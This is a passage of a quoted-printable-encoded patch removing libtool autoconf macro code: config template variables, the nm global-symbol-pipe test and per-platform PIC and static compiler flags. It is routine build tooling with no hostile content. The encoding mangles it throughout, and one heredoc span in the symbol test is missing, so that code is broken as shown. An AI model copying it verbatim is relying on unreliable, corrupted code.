-export_dynamic_flag_spec=3D$lt_[]_LT_AC_TAGVAR(export_dynamic_flag_spe= c, $1) - -# Compiler flag to generate shared objects directly from archives. -whole_archive_flag_spec=3D$lt_[]_LT_AC_TAGVAR(whole_archive_flag_spec,= $1) - -# Compiler flag to generate thread-safe objects. -thread_safe_flag_spec=3D$lt_[]_LT_AC_TAGVAR(thread_safe_flag_spec, $1) - -# Library versioning type. -version_type=3D$version_type - -# Format of library name prefix. -libname_spec=3D$lt_libname_spec - -# List of archive names. First name is the real one, the rest are lin= ks. -# The last name is the one that the linker finds with -lNAME. -library_names_spec=3D$lt_library_names_spec - -# The coded name of the library, if different from the real name. -soname_spec=3D$lt_soname_spec - -# Commands used to build and install an old-style archive. -RANLIB=3D$lt_RANLIB -old_archive_cmds=3D$lt_[]_LT_AC_TAGVAR(old_archive_cmds, $1) -old_postinstall_cmds=3D$lt_old_postinstall_cmds -old_postuninstall_cmds=3D$lt_old_postuninstall_cmds - -# Create an old-style archive from a shared archive. -old_archive_from_new_cmds=3D$lt_[]_LT_AC_TAGVAR(old_archive_from_new_c= mds, $1) - -# Create a temporary old-style archive to link instead of a shared arc= hive. -old_archive_from_expsyms_cmds=3D$lt_[]_LT_AC_TAGVAR(old_archive_from_e= xpsyms_cmds, $1) - -# Commands used to build and install a shared archive. -archive_cmds=3D$lt_[]_LT_AC_TAGVAR(archive_cmds, $1) -archive_expsym_cmds=3D$lt_[]_LT_AC_TAGVAR(archive_expsym_cmds, $1) -postinstall_cmds=3D$lt_postinstall_cmds -postuninstall_cmds=3D$lt_postuninstall_cmds - -# Commands used to build a loadable module (assumed same as above if e= mpty) -module_cmds=3D$lt_[]_LT_AC_TAGVAR(module_cmds, $1) -module_expsym_cmds=3D$lt_[]_LT_AC_TAGVAR(module_expsym_cmds, $1) - -# Commands to strip libraries. -old_striplib=3D$lt_old_striplib -striplib=3D$lt_striplib - -# Dependencies to place before the objects being linked to create a -# shared library. -predep_objects=3D$lt_[]_LT_AC_TAGVAR(predep_objects, $1) - -# Dependencies to place after the objects being linked to create a -# shared library. -postdep_objects=3D$lt_[]_LT_AC_TAGVAR(postdep_objects, $1) - -# Dependencies to place before the objects being linked to create a -# shared library. -predeps=3D$lt_[]_LT_AC_TAGVAR(predeps, $1) - -# Dependencies to place after the objects being linked to create a -# shared library. -postdeps=3D$lt_[]_LT_AC_TAGVAR(postdeps, $1) - -# The library search path used internally by the compiler when linking -# a shared library. -compiler_lib_search_path=3D$lt_[]_LT_AC_TAGVAR(compiler_lib_search_pat= h, $1) - -# Method to check whether dependent libraries are shared objects. -deplibs_check_method=3D$lt_deplibs_check_method - -# Command to use when deplibs_check_method =3D=3D file_magic. -file_magic_cmd=3D$lt_file_magic_cmd - -# Flag that allows shared libraries with undefined symbols to be built= . -allow_undefined_flag=3D$lt_[]_LT_AC_TAGVAR(allow_undefined_flag, $1) - -# Flag that forces no undefined symbols. -no_undefined_flag=3D$lt_[]_LT_AC_TAGVAR(no_undefined_flag, $1) - -# Commands used to finish a libtool library installation in a director= y. -finish_cmds=3D$lt_finish_cmds - -# Same as above, but a single script fragment to be evaled but not sho= wn. -finish_eval=3D$lt_finish_eval - -# Take the output of nm and produce a listing of raw symbols and C nam= es. -global_symbol_pipe=3D$lt_lt_cv_sys_global_symbol_pipe - -# Transform the output of nm in a proper C declaration -global_symbol_to_cdecl=3D$lt_lt_cv_sys_global_symbol_to_cdecl - -# Transform the output of nm in a C name address pair -global_symbol_to_c_name_address=3D$lt_lt_cv_sys_global_symbol_to_c_nam= e_address - -# This is the shared library runtime path variable. -runpath_var=3D$runpath_var - -# This is the shared library path variable. -shlibpath_var=3D$shlibpath_var - -# Is shlibpath searched before the hard-coded library search path? -shlibpath_overrides_runpath=3D$shlibpath_overrides_runpath - -# How to hardcode a shared library path into an executable. -hardcode_action=3D$_LT_AC_TAGVAR(hardcode_action, $1) - -# Whether we should hardcode library paths into libraries. -hardcode_into_libs=3D$hardcode_into_libs - -# Flag to hardcode \$libdir into a binary during linking. -# This must work even if \$libdir does not exist. -hardcode_libdir_flag_spec=3D$lt_[]_LT_AC_TAGVAR(hardcode_libdir_flag_s= pec, $1) - -# If ld is used when linking, flag to hardcode \$libdir into -# a binary during linking. This must work even if \$libdir does -# not exist. -hardcode_libdir_flag_spec_ld=3D$lt_[]_LT_AC_TAGVAR(hardcode_libdir_fla= g_spec_ld, $1) - -# Whether we need a single -rpath flag with a separated argument. -hardcode_libdir_separator=3D$lt_[]_LT_AC_TAGVAR(hardcode_libdir_separa= tor, $1) - -# Set to yes if using DIR/libNAME${shared_ext} during linking hardcode= s DIR into the -# resulting binary. -hardcode_direct=3D$_LT_AC_TAGVAR(hardcode_direct, $1) - -# Set to yes if using the -LDIR flag during linking hardcodes DIR into= the -# resulting binary. -hardcode_minus_L=3D$_LT_AC_TAGVAR(hardcode_minus_L, $1) - -# Set to yes if using SHLIBPATH_VAR=3DDIR during linking hardcodes DIR= into -# the resulting binary. -hardcode_shlibpath_var=3D$_LT_AC_TAGVAR(hardcode_shlibpath_var, $1) - -# Set to yes if building a shared library automatically hardcodes DIR = into the library -# and all subsequent libraries and executables linked against it. -hardcode_automatic=3D$_LT_AC_TAGVAR(hardcode_automatic, $1) - -# Variables whose values should be saved in libtool wrapper scripts an= d -# restored at relink time. -variables_saved_for_relink=3D"$variables_saved_for_relink" - -# Whether libtool must link a program against all its dependency libra= ries. -link_all_deplibs=3D$_LT_AC_TAGVAR(link_all_deplibs, $1) - -# Compile-time system search path for libraries -sys_lib_search_path_spec=3D$lt_sys_lib_search_path_spec - -# Run-time system search path for libraries -sys_lib_dlsearch_path_spec=3D$lt_sys_lib_dlsearch_path_spec - -# Fix the shell variable \$srcfile for the compiler. -fix_srcfile_path=3D"$_LT_AC_TAGVAR(fix_srcfile_path, $1)" - -# Set to yes if exported symbols are required. -always_export_symbols=3D$_LT_AC_TAGVAR(always_export_symbols, $1) - -# The commands to list exported symbols. -export_symbols_cmds=3D$lt_[]_LT_AC_TAGVAR(export_symbols_cmds, $1) - -# The commands to extract the exported symbol list from a shared archi= ve. -extract_expsyms_cmds=3D$lt_extract_expsyms_cmds - -# Symbols that should not be listed in the preloaded symbols. -exclude_expsyms=3D$lt_[]_LT_AC_TAGVAR(exclude_expsyms, $1) - -# Symbols that must always be exported. -include_expsyms=3D$lt_[]_LT_AC_TAGVAR(include_expsyms, $1) - -ifelse([$1],[], -[# ### END LIBTOOL CONFIG], -[# ### END LIBTOOL TAG CONFIG: $tagname]) - -__EOF__ - -ifelse([$1],[], [ - case $host_os in - aix3*) - cat <<\EOF >> "$cfgfile" - -# AIX sometimes has problems with the GCC collect2 program. For some -# reason, if we set the COLLECT_NAMES environment variable, the proble= ms -# vanish in a puff of smoke. -if test "X${COLLECT_NAMES+set}" !=3D Xset; then - COLLECT_NAMES=3D - export COLLECT_NAMES -fi -EOF - ;; - esac - - # We use sed instead of cat because bash on DJGPP gets confused if - # if finds mixed CR/LF and LF-only lines. Since sed operates in - # text mode, it properly converts lines to CR/LF. This bash problem - # is reportedly fixed, but why not run on old versions too? - sed '$q' "$ltmain" >> "$cfgfile" || (rm -f "$cfgfile"; exit 1) - - mv -f "$cfgfile" "$ofile" || \ - (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile") - chmod +x "$ofile" -]) -else - # If there is no Makefile yet, we rely on a make rule to execute - # `config.status --recheck' to rerun these tests and create the - # libtool script then. - ltmain_in=3D`echo $ltmain | sed -e 's/\.sh$/.in/'` - if test -f "$ltmain_in"; then - test -f Makefile && make "$ltmain" - fi -fi -])# AC_LIBTOOL_CONFIG - - -# AC_LIBTOOL_PROG_COMPILER_NO_RTTI([TAGNAME]) -# ------------------------------------------- -AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_NO_RTTI], -[AC_REQUIRE([_LT_AC_SYS_COMPILER])dnl - -_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=3D - -if test "$GCC" =3D yes; then - _LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=3D' -fno-builtin= ' - - AC_LIBTOOL_COMPILER_OPTION([if $compiler supports -fno-rtti -fno-exc= eptions], - lt_cv_prog_compiler_rtti_exceptions, - [-fno-rtti -fno-exceptions], [], - [_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=3D"$_LT_AC_TA= GVAR(lt_prog_compiler_no_builtin_flag, $1) -fno-rtti -fno-exceptions"]) -fi -])# AC_LIBTOOL_PROG_COMPILER_NO_RTTI - - -# AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE -# --------------------------------- -AC_DEFUN([AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE], -[AC_REQUIRE([AC_CANONICAL_HOST]) -AC_REQUIRE([AC_PROG_NM]) -AC_REQUIRE([AC_OBJEXT]) -# Check for command to grab the raw symbol name followed by C symbol f= rom nm. -AC_MSG_CHECKING([command to parse $NM output from $compiler object]) -AC_CACHE_VAL([lt_cv_sys_global_symbol_pipe], -[ -# These are sane defaults that work on at least a few old systems. -# [They come from Ultrix. What could be older than Ultrix?!! ;)] - -# Character class describing NM global symbol codes. -symcode=3D'[[BCDEGRST]]' - -# Regexp to match symbols that can be accessed directly from C. -sympat=3D'\([[_A-Za-z]][[_A-Za-z0-9]]*\)' - -# Transform an extracted symbol line into a proper C declaration -lt_cv_sys_global_symbol_to_cdecl=3D"sed -n -e 's/^. .* \(.*\)$/extern = int \1;/p'" - -# Transform an extracted symbol line into symbol name and symbol addre= ss -lt_cv_sys_global_symbol_to_c_name_address=3D"sed -n -e 's/^: \([[^ ]]*= \) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode \([[^ ]]*\) \([[^ ]= ]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'" - -# Define system-specific variables. -case $host_os in -aix*) - symcode=3D'[[BCDT]]' - ;; -cygwin* | mingw* | pw32*) - symcode=3D'[[ABCDGISTW]]' - ;; -hpux*) # Its linker distinguishes data from code symbols - if test "$host_cpu" =3D ia64; then - symcode=3D'[[ABCDEGRST]]' - fi - lt_cv_sys_global_symbol_to_cdecl=3D"sed -n -e 's/^T .* \(.*\)$/exter= n int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'" - lt_cv_sys_global_symbol_to_c_name_address=3D"sed -n -e 's/^: \([[^ ]= ]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \([[= ^ ]]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'" - ;; -linux*) - if test "$host_cpu" =3D ia64; then - symcode=3D'[[ABCDGIRSTW]]' - lt_cv_sys_global_symbol_to_cdecl=3D"sed -n -e 's/^T .* \(.*\)$/ext= ern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'" - lt_cv_sys_global_symbol_to_c_name_address=3D"sed -n -e 's/^: \([[^= ]]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \(= [[^ ]]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'" - fi - ;; -irix* | nonstopux*) - symcode=3D'[[BCDEGRST]]' - ;; -osf*) - symcode=3D'[[BCDEGQRST]]' - ;; -solaris*) - symcode=3D'[[BDRT]]' - ;; -sco3.2v5*) - symcode=3D'[[DT]]' - ;; -sysv4.2uw2*) - symcode=3D'[[DT]]' - ;; -sysv5* | sco5v6* | unixware* | OpenUNIX*) - symcode=3D'[[ABDT]]' - ;; -sysv4) - symcode=3D'[[DFNSTU]]' - ;; -esac - -# Handle CRLF in mingw tool chain -opt_cr=3D -case $build_os in -mingw*) - opt_cr=3D`echo 'x\{0,1\}' | tr x '\015'` # option cr in regexp - ;; -esac - -# If we're using GNU nm, then use its standard symbol codes. -case `$NM -V 2>&1` in -*GNU* | *'with BFD'*) - symcode=3D'[[ABCDGIRSTW]]' ;; -esac - -# Try without a prefix undercore, then with it. -for ac_symprfx in "" "_"; do - - # Transform symcode, sympat, and symprfx into a raw symbol and a C s= ymbol. - symxfrm=3D"\\1 $ac_symprfx\\2 \\2" - - # Write the raw and C identifiers. - lt_cv_sys_global_symbol_pipe=3D"sed -n -e 's/^.*[[ =09]]\($symcode$s= ymcode*\)[[ =09]][[ =09]]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'" - - # Check to see that the pipe works correctly. - pipe_works=3Dno - - rm -f conftest* - cat > conftest.$ac_ext < $nlist) && test -s "$nlist"; then - # Try sorting and uniquifying the output. - if sort "$nlist" | uniq > "$nlist"T; then -=09mv -f "$nlist"T "$nlist" - else -=09rm -f "$nlist"T - fi - - # Make sure that we snagged all the symbols we need. - if grep ' nm_test_var$' "$nlist" >/dev/null; then -=09if grep ' nm_test_func$' "$nlist" >/dev/null; then -=09 cat < conftest.$ac_ext -#ifdef __cplusplus -extern "C" { -#endif - -EOF -=09 # Now generate the symbol file. -=09 eval "$lt_cv_sys_global_symbol_to_cdecl"' < "$nlist" | grep -v ma= in >> conftest.$ac_ext' - -=09 cat <> conftest.$ac_ext -#if defined (__STDC__) && __STDC__ -# define lt_ptr_t void * -#else -# define lt_ptr_t char * -# define const -#endif - -/* The mapping between symbol names and symbols. */ -const struct { - const char *name; - lt_ptr_t address; -} -lt_preloaded_symbols[[]] =3D -{ -EOF -=09 $SED "s/^$symcode$symcode* \(.*\) \(.*\)$/ {\"\2\", (lt_ptr_t) \= &\2},/" < "$nlist" | grep -v main >> conftest.$ac_ext -=09 cat <<\EOF >> conftest.$ac_ext - {0, (lt_ptr_t) 0} -}; - -#ifdef __cplusplus -} -#endif -EOF -=09 # Now try linking the two files. -=09 mv conftest.$ac_objext conftstm.$ac_objext -=09 lt_save_LIBS=3D"$LIBS" -=09 lt_save_CFLAGS=3D"$CFLAGS" -=09 LIBS=3D"conftstm.$ac_objext" -=09 CFLAGS=3D"$CFLAGS$_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag,= $1)" -=09 if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext}; then -=09 pipe_works=3Dyes -=09 fi -=09 LIBS=3D"$lt_save_LIBS" -=09 CFLAGS=3D"$lt_save_CFLAGS" -=09else -=09 echo "cannot find nm_test_func in $nlist" >&AS_MESSAGE_LOG_FD -=09fi - else -=09echo "cannot find nm_test_var in $nlist" >&AS_MESSAGE_LOG_FD - fi - else - echo "cannot run $lt_cv_sys_global_symbol_pipe" >&AS_MESSAGE_LOG= _FD - fi - else - echo "$progname: failed program was:" >&AS_MESSAGE_LOG_FD - cat conftest.$ac_ext >&5 - fi - rm -f conftest* conftst* - - # Do not use the global_symbol_pipe unless it works. - if test "$pipe_works" =3D yes; then - break - else - lt_cv_sys_global_symbol_pipe=3D - fi -done -]) -if test -z "$lt_cv_sys_global_symbol_pipe"; then - lt_cv_sys_global_symbol_to_cdecl=3D -fi -if test -z "$lt_cv_sys_global_symbol_pipe$lt_cv_sys_global_symbol_to_c= decl"; then - AC_MSG_RESULT(failed) -else - AC_MSG_RESULT(ok) -fi -]) # AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE - - -# AC_LIBTOOL_PROG_COMPILER_PIC([TAGNAME]) -# --------------------------------------- -AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_PIC], -[_LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D -_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D -_LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D - -AC_MSG_CHECKING([for $compiler option to produce PIC]) - ifelse([$1],[CXX],[ - # C++ specific cases for pic, static, wl, etc. - if test "$GXX" =3D yes; then - _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Wl,' - _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-static' - - case $host_os in - aix*) - # All AIX code is PIC. - if test "$host_cpu" =3D ia64; then -=09# AIX 5 now supports IA64 processor -=09_LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-Bstatic' - fi - ;; - amigaos*) - # FIXME: we need at least 68020 code to build shared libraries, = but - # adding the `-m68020' flag to GCC prevents building anything be= tter, - # like `-m68040'. - _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-m68020 -resident32 -= malways-restore-a4' - ;; - beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | o= sf5*) - # PIC is the default for these OSes. - ;; - mingw* | os2* | pw32*) - # This hack is so that the source file can tell whether it is be= ing - # built for inclusion in a dll (and should export symbols for ex= ample). - _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-DDLL_EXPORT' - ;; - darwin* | rhapsody*) - # PIC is the default on this platform - # Common symbols not allowed in MH_DYLIB files - _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-fno-common' - ;; - *djgpp*) - # DJGPP does not support shared libraries at all - _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D - ;; - interix3*) - # Interix 3.x gcc -fpic/-fPIC options generate broken code. - # Instead, we relocate shared libraries at runtime. - ;; - sysv4*MP*) - if test -d /usr/nec; then -=09_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D-Kconform_pic - fi - ;; - hpux*) - # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but - # not for PA HP-UX. - case $host_cpu in - hppa*64*|ia64*) -=09;; - *) -=09_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-fPIC' -=09;; - esac - ;; - *) - _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-fPIC' - ;; - esac - else - case $host_os in - aix4* | aix5*) -=09# All AIX code is PIC. -=09if test "$host_cpu" =3D ia64; then -=09 # AIX 5 now supports IA64 processor -=09 _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-Bstatic' -=09else -=09 _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-bnso -bI:/lib/sysc= alls.exp' -=09fi -=09;; - chorus*) -=09case $cc_basename in -=09cxch68*) -=09 # Green Hills C++ Compiler -=09 # _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D"--no_auto_instant= iation -u __main -u __premain -u _abort -r $COOL_DIR/lib/libOrb.a $MVME= _DIR/lib/CC/libC.a $MVME_DIR/lib/classix/libcx.s.a" -=09 ;; -=09esac -=09;; - darwin*) - # PIC is the default on this platform - # Common symbols not allowed in MH_DYLIB files - case $cc_basename in - xlc*) - _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-qnocommon' - _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Wl,' - ;; - esac - ;; - dgux*) -=09case $cc_basename in -=09 ec++*) -=09 _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-KPIC' -=09 ;; -=09 ghcx*) -=09 # Green Hills C++ Compiler -=09 _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-pic' -=09 ;; -=09 *) -=09 ;; -=09esac -=09;; - freebsd* | kfreebsd*-gnu | dragonfly*) -=09# FreeBSD uses GNU C++ -=09;; - hpux9* | hpux10* | hpux11*) -=09case $cc_basename in -=09 CC*) -=09 _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Wl,' -=09 _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'${wl}-a ${wl}arch= ive' -=09 if test "$host_cpu" !=3D ia64; then -=09 _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'+Z' -=09 fi -=09 ;; -=09 aCC*) -=09 _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Wl,' -=09 _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'${wl}-a ${wl}arch= ive' -=09 case $host_cpu in -=09 hppa*64*|ia64*) -=09 # +Z the default -=09 ;; -=09 *) -=09 _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'+Z' -=09 ;; -=09 esac -=09 ;; -=09 *) -=09 ;; -=09esac -=09;; - interix*) -=09# This is c89, which is MS Visual C++ (no shared libs) -=09# Anyone wants to do a port? -=09;; - irix5* | irix6* | nonstopux*) -=09case $cc_basename in -=09 CC*) -=09 _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Wl,' -=09 _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-non_shared' -=09 # CC pic flag -KPIC is the default. -=09 ;; -=09 *) -=09 ;; -=09esac -=09;; - linux*) -=09case $cc_basename in -=09 KCC*) -=09 # KAI C++ Compiler -=09 _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'--backend -Wl,' -=09 _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-fPIC' -=09 ;; -=09 icpc* | ecpc*) -=09 # Intel C++ -=09 _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Wl,' -=09 _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-KPIC' -=09 _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-static' -=09 ;; -=09 pgCC*) -=09 # Portland Group C++ compiler. -=09 _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Wl,' -=09 _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-fpic' -=09 _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-Bstatic' -=09 ;; -=09 cxx*) -=09 # Compaq C++ -=09 # Make sure the PIC flag is empty. It appears that all Alpha -=09 # Linux and Compaq Tru64 Unix objects are PIC. -=09 _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D -=09 _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-non_shared' -=09 ;; -=09 *) -=09 ;; -=09esac -=09;; - lynxos*) -=09;; - m88k*) -=09;; - mvs*) -=09case $cc_basename in -=09 cxx*) -=09 _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-W c,exportall' -=09 ;; -=09 *) -=09 ;; -=09esac -=09;; - netbsd*) -=09;; - osf3* | osf4* | osf5*) -=09case $cc_basename in -=09 KCC*) -=09 _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'--backend -Wl,' -=09 ;; -=09 RCC*) -=09 # Rational C++ 2.4.1 -=09 _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-pic' -=09 ;; -=09 cxx*) -=09 # Digital/Compaq C++ -=09 _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Wl,' -=09 # Make sure the PIC flag is empty. It appears that all Alpha -=09 # Linux and Compaq Tru64 Unix objects are PIC. -=09 _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D -=09 _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-non_shared' -=09 ;; -=09 *) -=09 ;; -=09esac -=09;; - psos*) -=09;; - solaris*) -=09case $cc_basename in -=09 CC*) -=09 # Sun C++ 4.2, 5.x and Centerline C++ -=09 _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-KPIC' -=09 _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-Bstatic' -=09 _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Qoption ld ' -=09 ;; -=09 gcx*) -=09 # Green Hills C++ Compiler -=09 _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-PIC' -=09 ;; -=09 *) -=09 ;; -=09esac -=09;; - sunos4*) -=09case $cc_basename in -=09 CC*) -=09 # Sun C++ 4.x -=09 _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-pic' -=09 _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-Bstatic' -=09 ;; -=09 lcc*) -=09 # Lucid -=09 _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-pic' -=09 ;; -=09 *) -=09 ;; -=09esac -=09;; - tandem*) -=09case $cc_basename in -=09 NCC*) -=09 # NonStop-UX NCC 3.20 -=09 _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-KPIC' -=09 ;; -=09 *) -=09 ;; -=09esac -=09;; - sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*) -=09case $cc_basename in -=09 CC*) -=09 _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Wl,' -=09 _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-KPIC' -=09 _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-Bstatic' -=09 ;; -=09esac -=09;; - vxworks*) -=09;; - *) -=09_LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=3Dno -=09;; - esac - fi -], -[ - if test "$GCC" =3D yes; then - _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Wl,' - _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-static' - - case $host_os in - aix*) - # All AIX code is PIC. - if test "$host_cpu" =3D ia64; then -=09# AIX 5 now supports IA64 processor -=09_LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-Bstatic' - fi - ;; - - amigaos*) - # FIXME: we need at least 68020 code to build shared libraries, = but - # adding the `-m68020' flag to GCC prevents building anything be= tter, - # like `-m68040'. - _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-m68020 -resident32 -= malways-restore-a4' - ;; - - beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | o= sf5*) - # PIC is the default for these OSes. - ;; - - mingw* | pw32* | os2*) - # This hack is so that the source file can tell whether it is be= ing - # built for inclusion in a dll (and should export symbols for ex= ample). - _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-DDLL_EXPORT' - ;; - - darwin* | rhapsody*) - # PIC is the default on this platform - # Common symbols not allowed in MH_DYLIB files - _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-fno-common' - ;; - - interix3*) - # Interix 3.x gcc -fpic/-fPIC options generate broken code. - # Instead, we relocate shared libraries at runtime. - ;; - - msdosdjgpp*) - # Just because we use GCC doesn't mean we suddenly get shared li= braries - # on systems that don't support them. - _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=3Dno - enable_shared=3Dno - ;; - - sysv4*MP*) - if test -d /usr/nec; then -=09_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D-Kconform_pic - fi - ;; - - hpux*) - # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but - # not for PA HP-UX. - case $host_cpu in - hppa*64*|ia64*) -=09# +Z the default -=09;; - *) -=09_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-fPIC' -=09;; - esac - ;; - - *) - _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-fPIC' - ;; - esac - else - # PORTME Check for flag to pass linker flags through the system co= mpiler. - case $host_os in - aix*) - _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Wl,' - if test "$host_cpu" =3D ia64; then -=09# AIX 5 now supports IA64 processor -=09_LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-Bstatic' - else -=09_LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-bnso -bI:/lib/syscal= ls.exp' - fi - ;; - darwin*) - # PIC is the default on this platform - # Common symbols not allowed in MH_DYLIB files - case $cc_basename in - xlc*) - _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-qnocommon' - _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Wl,' - ;; - esac - ;; - - mingw* | pw32* | os2*) - # This hack is so that the source file can tell whether it is be= ing - # built for inclusion in a dll (and should export symbols for ex= ample). - _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-DDLL_EXPORT' - ;; - - hpux9* | hpux10* | hpux11*) - _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Wl,' - # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but - # not for PA HP-UX. - case $host_cpu in - hppa*64*|ia64*) -=09# +Z the default -=09;; - *) -=09_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'+Z' -=09;; - esac - # Is there a better lt_prog_compiler_static that works with the = bundled CC? - _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'${wl}-a ${wl}archi= ve' - ;; - - irix5* | irix6* | nonstopux*) - _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Wl,' - # PIC (with -KPIC) is the default. - _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-non_shared' - ;; - - newsos6) - _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-KPIC' - _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-Bstatic' - ;; - - linux*) - case $cc_basename in - icc* | ecc*) -=09_LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Wl,' -=09_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-KPIC' -=09_LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-static' - ;; - pgcc* | pgf77* | pgf90* | pgf95*) - # Portland Group compilers (*not* the Pentium gcc compiler, -=09# which looks to be a dead project) -=09_LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Wl,' -=09_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=3D'-fpic' -=09_LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-Bstatic' - ;; - ccc*) - _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Wl,' - # All Alpha code is PIC. - _LT_AC_TAGVAR(lt_prog_compiler_static, $1)=3D'-non_shared' - ;; - esac - ;; - - osf3* | osf4* | osf5*) - _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=3D'-Wl,' - # All OSF/1 code is 